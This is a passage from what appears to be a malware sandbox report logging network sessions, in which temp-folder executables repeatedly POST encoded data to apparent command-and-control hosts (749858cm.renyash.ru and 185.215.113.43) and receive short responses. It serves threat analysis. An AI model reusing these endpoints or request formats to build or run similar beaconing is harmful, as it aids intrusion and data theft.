cfL4;desc="?proto=TCP&rtt=3537&min_rtt=1654&rtt_var=4386&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1399&delivery_rate=87320&cwnd=91&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3c 52 40 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 4<R@X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.8	50177	172.67.220.198	80	2708	C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:18:09.756923914 CET	343	OUT	POST /javascriptrequestApiBasePrivate.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 749858cm.renyash.ru Content-Length: 1060 Expect: 100-continue Connection: Keep-Alive
Dec 16, 2024 13:18:10.108879089 CET	1060	OUT	Data Raw: 5d 52 43 5c 59 50 54 5c 5d 5a 59 53 57 5f 5a 52 5a 52 5f 5e 51 5f 52 40 58 52 58 5c 5b 53 5f 5e 58 45 54 5d 5e 50 56 5c 5c 54 53 54 5d 55 5c 5f 57 57 5d 40 5f 5b 50 55 55 5e 55 5d 5f 55 51 40 58 5f 41 45 5b 45 56 55 5e 56 5d 50 5a 5d 59 58 52 53 Data Ascii: ]RC\YPT\]ZYSW_ZRZR_^Q_R@XRX\[S_^XET]^PV\\TST]U\_WW]@_[PUU^U]_UQ@X_AE[EVU^V]PZ]YXRSXYU^Y]UV[X]Y[U[]XUZUX__WDZ]R\__AQWZQ]V][^\\XY_[TPXT\]T[TVQVUZUS]\XT\W^]PFYZ\QX^R\XT\VRU\Z^V_SZ^]Z][R^[ Y(,-=+$?$- 49'.)7_+'%1.V(>] 43X8"F"#Y 4
Dec 16, 2024 13:18:10.843050003 CET	25	IN	HTTP/1.1 100 Continue
Dec 16, 2024 13:18:11.087389946 CET	805	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:18:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xsQ26CjjVj22rD92Y6%2Bx2OUxbzNkN2c4BLgXXuvpxMNcDCp1fkwhX9KAyvag93LEcKYVBrLwErtxtXBmwgowTc1ghVcGJBtH2%2FAC79vRsxFTwgWO21X0Or8JhxrCon1VCe%2FAE4Tn"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2e9d50cfef7d06-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3302&min_rtt=1968&rtt_var=3407&sent=2&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1403&delivery_rate=115469&cwnd=243&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3c 52 40 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 4<R@X0

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.8	50178	172.67.220.198	80

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:18:09.772304058 CET	343	OUT	POST /javascriptrequestApiBasePrivate.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 749858cm.renyash.ru Content-Length: 1920 Expect: 100-continue Connection: Keep-Alive
Dec 16, 2024 13:18:10.129162073 CET	1920	OUT	Data Raw: 5d 50 43 56 59 5a 54 58 5d 5a 59 53 57 5c 5a 52 5a 53 5f 58 51 58 52 49 58 52 58 5c 5b 53 5f 5e 58 45 54 5d 5e 50 56 5c 5c 54 53 54 5d 55 5c 5f 57 57 5d 40 5f 5b 50 55 55 5e 55 5d 5f 55 51 40 58 5f 41 45 5b 45 56 55 5e 56 5d 50 5a 5d 59 58 52 53 Data Ascii: ]PCVYZTX]ZYSW\ZRZS_XQXRIXRX\[S_^XET]^PV\\TST]U\_WW]@_[PUU^U]_UQ@X_AE[EVU^V]PZ]YXRSXYU^Y]UV[X]Y[U[]XUZUX__WDZ]R\__AQWZQ]V][^\\XY_[TPXT\]T[TVQVUZUS]\XT\W^]PFYZ\QX^R\XT\VRU\Z^V_SZ^]Z][R^[ ),=)$3 ]$>(7 .\#\?;S%T.)X: '#X(("F"#Y
Dec 16, 2024 13:18:10.857388973 CET	25	IN	HTTP/1.1 100 Continue
Dec 16, 2024 13:18:11.101823092 CET	950	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:18:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8VWPDKkvhzfuxnbn3ABbu902jX3PbqkQPfYdkZ3SP1x2YSDZVjo2bNwnb4UGHRZToh3WjAWRxW0RPKIxLq9dmqH7qfmpJZqW6WNNvhvvXP1Kna2IKDk7qFAXeje%2BBecMpVXQsl0k"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2e9d50ec374204-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3033&min_rtt=1556&rtt_var=3537&sent=2&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=2263&delivery_rate=109175&cwnd=233&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 38 0d 0a 0e 1a 39 54 25 2d 3e 59 23 2d 2c 08 2a 01 2f 0b 24 55 22 00 2c 06 3b 1b 25 23 29 02 32 0b 26 00 31 37 27 14 37 31 37 08 25 22 33 0a 25 1d 23 5d 01 1b 24 18 24 58 32 58 2b 01 08 5d 27 0e 35 1f 24 3d 23 45 25 37 20 55 32 0a 37 56 21 2b 3a 5b 2f 31 3e 58 3c 2f 2f 1b 3a 56 31 12 37 14 21 52 0d 13 21 0a 24 38 31 06 30 31 3b 5c 21 30 38 01 21 1a 3b 50 30 12 3c 0d 31 39 3b 02 25 3f 2e 5b 26 16 2b 5d 3d 38 31 0f 23 22 2b 0f 3c 14 20 52 2c 05 20 50 04 35 54 53 0d 0a 30 0d 0a 0d 0a Data Ascii: 989T%->Y#-,*/$U",;%#)2&17'717%"3%#]$$X2X+]'5$=#E%7 U27V!+:[/1>X<//:V17!R!$8101;\!08!;P0<19;%?.[&+]=81#"+< R, P5TS0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.8	50179	185.215.113.43	80	6828	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:18:10.017642021 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Dec 16, 2024 13:18:11.357317924 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 12:18:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.8	50192	172.67.220.198	80	2708	C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:18:11.435897112 CET	319	OUT	POST /javascriptrequestApiBasePrivate.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 749858cm.renyash.ru Content-Length: 1060 Expect: 100-continue
Dec 16, 2024 13:18:11.797470093 CET	1060	OUT	Data Raw: 58 51 43 52 5c 5d 54 5c 5d 5a 59 53 57 5a 5a 52 5a 52 5f 58 51 53 52 45 58 52 58 5c 5b 53 5f 5e 58 45 54 5d 5e 50 56 5c 5c 54 53 54 5d 55 5c 5f 57 57 5d 40 5f 5b 50 55 55 5e 55 5d 5f 55 51 40 58 5f 41 45 5b 45 56 55 5e 56 5d 50 5a 5d 59 58 52 53 Data Ascii: XQCR\]T\]ZYSWZZRZR_XQSREXRX\[S_^XET]^PV\\TST]U\_WW]@_[PUU^U]_UQ@X_AE[EVU^V]PZ]YXRSXYU^Y]UV[X]Y[U[]XUZUX__WDZ]R\__AQWZQ]V][^\\XY_[TPXT\]T[TVQVUZUS]\XT\W^]PFYZ\QX^R\XT\VRU\Z^V_SZ^]Z][R^[#?.*-#0 $^%-4:]:;]+80$2U=-67=("F"#Y
Dec 16, 2024 13:18:12.521667957 CET	25	IN	HTTP/1.1 100 Continue
Dec 16, 2024 13:18:12.755438089 CET	806	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:18:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BYEtmixRKWlqgsCRfcR6yGptYT8BE6%2BRklmGofM4WyV4BmFwDjpvV5JWYmKhsvtAfHBMpTtg1NvgzfgGFGmwHc0mW%2FF4Bps1dfXI%2FHcePpTI3c13nhseFJTH9PDYLAQ6FaYgrkSt"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2e9d5b4aac726f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4358&min_rtt=1929&rtt_var=5581&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1379&delivery_rate=68348&cwnd=171&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3c 52 40 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 4<R@X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.8	50201	172.67.220.198	80	2708	C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:18:13.000622988 CET	343	OUT	POST /javascriptrequestApiBasePrivate.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 749858cm.renyash.ru Content-Length: 1056 Expect: 100-continue Connection: Keep-Alive
Dec 16, 2024 13:18:13.348467112 CET	1056	OUT	Data Raw: 58 50 43 50 59 58 54 52 5d 5a 59 53 57 5b 5a 52 5a 57 5f 5d 51 5a 52 45 58 52 58 5c 5b 53 5f 5e 58 45 54 5d 5e 50 56 5c 5c 54 53 54 5d 55 5c 5f 57 57 5d 40 5f 5b 50 55 55 5e 55 5d 5f 55 51 40 58 5f 41 45 5b 45 56 55 5e 56 5d 50 5a 5d 59 58 52 53 Data Ascii: XPCPYXTR]ZYSW[ZRZW_]QZREXRX\[S_^XET]^PV\\TST]U\_WW]@_[PUU^U]_UQ@X_AE[EVU^V]PZ]YXRSXYU^Y]UV[X]Y[U[]XUZUX__WDZ]R\__AQWZQ]V][^\\XY_[TPXT\]T[TVQVUZUS]\XT\W^]PFYZ\QX^R\XT\VRU\Z^V_SZ^]Z][R^[ <,6T)$ 03+\ :\?+((&&R)>5Z77?)8"F"#Y 0
Dec 16, 2024 13:18:14.086265087 CET	25	IN	HTTP/1.1 100 Continue
Dec 16, 2024 13:18:14.328208923 CET	808	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:18:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=eafWyh6vk6NxXsEzr5pNMwZfKAdswvMI1Puza5qQG0EvQ3oj5C6RehISoVTYrjDDVjAoGrGN%2Bk7Ex032HYGk8z%2FklffI5QFP6TSbpN5qvn%2FQSaYpyR%2FbfxnmW0QLtpjIZVnkv%2FvM"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2e9d651dfe4245-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3780&min_rtt=1578&rtt_var=4996&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1399&delivery_rate=76049&cwnd=186&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3c 52 40 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 4<R@X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.8	50202	185.215.113.43	80	6828	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:18:13.108582973 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 16, 2024 13:18:14.439918041 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 12:18:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.8	50208	172.67.220.198	80	2708	C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:18:14.568662882 CET	343	OUT	POST /javascriptrequestApiBasePrivate.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 749858cm.renyash.ru Content-Length: 1060 Expect: 100-continue Connection: Keep-Alive
Dec 16, 2024 13:18:14.917933941 CET	1060	OUT	Data Raw: 58 54 46 50 5c 5d 54 59 5d 5a 59 53 57 5c 5a 5e 5a 53 5f 59 51 5a 52 49 58 52 58 5c 5b 53 5f 5e 58 45 54 5d 5e 50 56 5c 5c 54 53 54 5d 55 5c 5f 57 57 5d 40 5f 5b 50 55 55 5e 55 5d 5f 55 51 40 58 5f 41 45 5b 45 56 55 5e 56 5d 50 5a 5d 59 58 52 53 Data Ascii: XTFP\]TY]ZYSW\Z^ZS_YQZRIXRX\[S_^XET]^PV\\TST]U\_WW]@_[PUU^U]_UQ@X_AE[EVU^V]PZ]YXRSXYU^Y]UV[X]Y[U[]XUZUX__WDZ]R\__AQWZQ]V][^\\XY_[TPXT\]T[TVQVUZUS]\XT\W^]PFYZ\QX^R\XT\VRU\Z^V_SZ^]Z][R^[#(?1<$ ;'[< 7.;X(7%2=>= 'X*"F"#Y
Dec 16, 2024 13:18:15.654644966 CET	25	IN	HTTP/1.1 100 Continue
Dec 16, 2024 13:18:15.895252943 CET	805	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:18:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pga00qH%2FcDplfcilZslfRjMh8GOZ6rgFfSGTFcPPsJZMTHAEH2yv8uWWgEOth9DmbC67eVFBDXXu6n888uz%2FEKsB23B3MMBr7MpIbSAT6VvDQbMzF07gsn94mUW6EBPHnfQRa%2BIT"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2e9d6eed717d06-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=7241&min_rtt=1871&rtt_var=11443&sent=2&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1403&delivery_rate=32563&cwnd=243&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3c 52 40 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 4<R@X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.8	50213	185.215.113.43	80	6828	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:18:16.091875076 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Dec 16, 2024 13:18:17.426240921 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 12:18:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.8	50214	172.67.220.198	80	2708	C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:18:16.146264076 CET	343	OUT	POST /javascriptrequestApiBasePrivate.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 749858cm.renyash.ru Content-Length: 1060 Expect: 100-continue Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.8	50215	172.67.220.198	80	2708	C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:18:16.271428108 CET	343	OUT	POST /javascriptrequestApiBasePrivate.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 749858cm.renyash.ru Content-Length: 1920 Expect: 100-continue Connection: Keep-Alive
Dec 16, 2024 13:18:16.629159927 CET	1920	OUT	Data Raw: 58 56 46 51 5c 5f 51 5a 5d 5a 59 53 57 52 5a 5f 5a 55 5f 58 51 5b 52 42 58 52 58 5c 5b 53 5f 5e 58 45 54 5d 5e 50 56 5c 5c 54 53 54 5d 55 5c 5f 57 57 5d 40 5f 5b 50 55 55 5e 55 5d 5f 55 51 40 58 5f 41 45 5b 45 56 55 5e 56 5d 50 5a 5d 59 58 52 53 Data Ascii: XVFQ\_QZ]ZYSWRZ_ZU_XQ[RBXRX\[S_^XET]^PV\\TST]U\_WW]@_[PUU^U]_UQ@X_AE[EVU^V]PZ]YXRSXYU^Y]UV[X]Y[U[]XUZUX__WDZ]R\__AQWZQ]V][^\\XY_[TPXT\]T[TVQVUZUS]\XT\W^]PFYZ\QX^R\XT\VRU\Z^V_SZ^]Z][R^[ [(Y1>.$$38Y'4 :8::;?;&">X544 >"F"#Y
Dec 16, 2024 13:18:17.356057882 CET	25	IN	HTTP/1.1 100 Continue
Dec 16, 2024 13:18:17.645263910 CET	953	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:18:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wxswwZn1QIdBlP1dD92fbsQQcf6GXHx7YHTyFU%2Br3ZOBuMfuObCcEGp7%2Bhyft4FjVNhBSWXNTlGop7yCRghRR2KQTvaGc7DCF6NM99i6FCNDW%2BhaUDwVqK2H6aHnk77bgmaXur6r"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2e9d798f2d4316-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3245&min_rtt=1581&rtt_var=3921&sent=3&recv=7&lost=0&retrans=0&sent_bytes=25&recv_bytes=2263&delivery_rate=98012&cwnd=176&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 38 0d 0a 0e 1a 3a 0f 30 03 0c 13 20 10 2c 0e 29 3f 27 0a 27 20 3d 59 2f 3f 09 1b 25 33 2d 03 26 22 00 06 25 1a 34 05 20 31 34 1f 27 22 2b 0b 26 0d 23 5d 01 1b 27 41 33 07 2e 5c 3c 3c 25 00 26 33 29 1f 31 00 2b 08 32 1d 3f 0d 31 30 38 0b 22 06 3a 58 2c 32 29 02 2b 3c 27 58 3a 30 21 5c 20 2e 21 52 0d 13 22 51 30 01 3e 59 24 22 23 5a 20 0d 23 1e 23 37 2f 1b 24 12 02 08 24 29 3b 01 24 2f 04 5b 25 2b 30 05 29 38 07 0c 20 21 33 0e 3f 2e 20 52 2c 05 20 50 04 35 54 53 0d 0a 30 0d 0a 0d 0a Data Ascii: 98:0 ,)?'' =Y/?%3-&"%4 14'"+&#]'A3.\<<%&3)1+2?108":X,2)+<'X:0!\ .!R"Q0>Y$"#Z ##7/$$);$/[%+0)8 !3?. R, P5TS0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.8	50216	172.67.220.198	80	2708	C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:18:16.626214027 CET	343	OUT	POST /javascriptrequestApiBasePrivate.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 749858cm.renyash.ru Content-Length: 1060 Expect: 100-continue Connection: Keep-Alive
Dec 16, 2024 13:18:16.971452951 CET	1060	OUT	Data Raw: 58 55 43 50 59 51 51 5d 5d 5a 59 53 57 5e 5a 56 5a 52 5f 54 51 5e 52 49 58 52 58 5c 5b 53 5f 5e 58 45 54 5d 5e 50 56 5c 5c 54 53 54 5d 55 5c 5f 57 57 5d 40 5f 5b 50 55 55 5e 55 5d 5f 55 51 40 58 5f 41 45 5b 45 56 55 5e 56 5d 50 5a 5d 59 58 52 53 Data Ascii: XUCPYQQ]]ZYSW^ZVZR_TQ^RIXRX\[S_^XET]^PV\\TST]U\_WW]@_[PUU^U]_UQ@X_AE[EVU^V]PZ]YXRSXYU^Y]UV[X]Y[U[]XUZUX__WDZ]R\__AQWZQ]V][^\\XY_[TPXT\]T[TVQVUZUS]\XT\W^]PFYZ\QX^R\XT\VRU\Z^V_SZ^]Z][R^[#(!=<3V+%><7;,);+;<%(>6 $ "F"#Y 0
Dec 16, 2024 13:18:17.714663982 CET	25	IN	HTTP/1.1 100 Continue
Dec 16, 2024 13:18:17.947668076 CET	804	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:18:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=eZAlcmzGPnHpzIEIZLMjcvXgm2QH9jqikaHL8PeSbQo8vK9D%2FnfFUBsS1LcJ1Zyb7DgUkkopErfpB72fMz1N%2FQ8ga%2BBlzrDyh8bVoqIucJtv3eZTUjEFqEdBh03SQ9kh30W82Y8m"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2e9d7bbdc24349-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3524&min_rtt=1593&rtt_var=4460&sent=2&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1403&delivery_rate=85655&cwnd=226&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3c 52 40 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 4<R@X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.8	50223	172.67.220.198	80	2708	C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:18:18.221971035 CET	319	OUT	POST /javascriptrequestApiBasePrivate.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 749858cm.renyash.ru Content-Length: 1060 Expect: 100-continue
Dec 16, 2024 13:18:18.586302996 CET	1060	OUT	Data Raw: 58 5a 46 54 59 5d 51 5f 5d 5a 59 53 57 52 5a 53 5a 54 5f 5e 51 5c 52 47 58 52 58 5c 5b 53 5f 5e 58 45 54 5d 5e 50 56 5c 5c 54 53 54 5d 55 5c 5f 57 57 5d 40 5f 5b 50 55 55 5e 55 5d 5f 55 51 40 58 5f 41 45 5b 45 56 55 5e 56 5d 50 5a 5d 59 58 52 53 Data Ascii: XZFTY]Q_]ZYSWRZSZT_^Q\RGXRX\[S_^XET]^PV\\TST]U\_WW]@_[PUU^U]_UQ@X_AE[EVU^V]PZ]YXRSXYU^Y]UV[X]Y[U[]XUZUX__WDZ]R\__AQWZQ]V][^\\XY_[TPXT\]T[TVQVUZUS]\XT\W^]PFYZ\QX^R\XT\VRU\Z^V_SZ^]Z][R^[ [+Y5>,' $>/7:(.4(; 2"V.-Z '8="F"#Y
Dec 16, 2024 13:18:19.313293934 CET	25	IN	HTTP/1.1 100 Continue
Dec 16, 2024 13:18:19.560173035 CET	807	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:18:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=t7O1Xhy1%2BNc9kINw0SOn9JNZGKCy%2Bn2GZQN%2F94FXeKoD7M5OU6NFDnw1V6gM4J1WRpdFnkvBhaE4WmmaNmhY4c1neNLqiTZ4LC0OkjiodPHSfEWWqitYHsQnqvtvJi3G5vPwzJb%2F"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2e9d85bbe14358-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=6840&min_rtt=1577&rtt_var=11117&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1379&delivery_rate=33424&cwnd=205&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3c 52 40 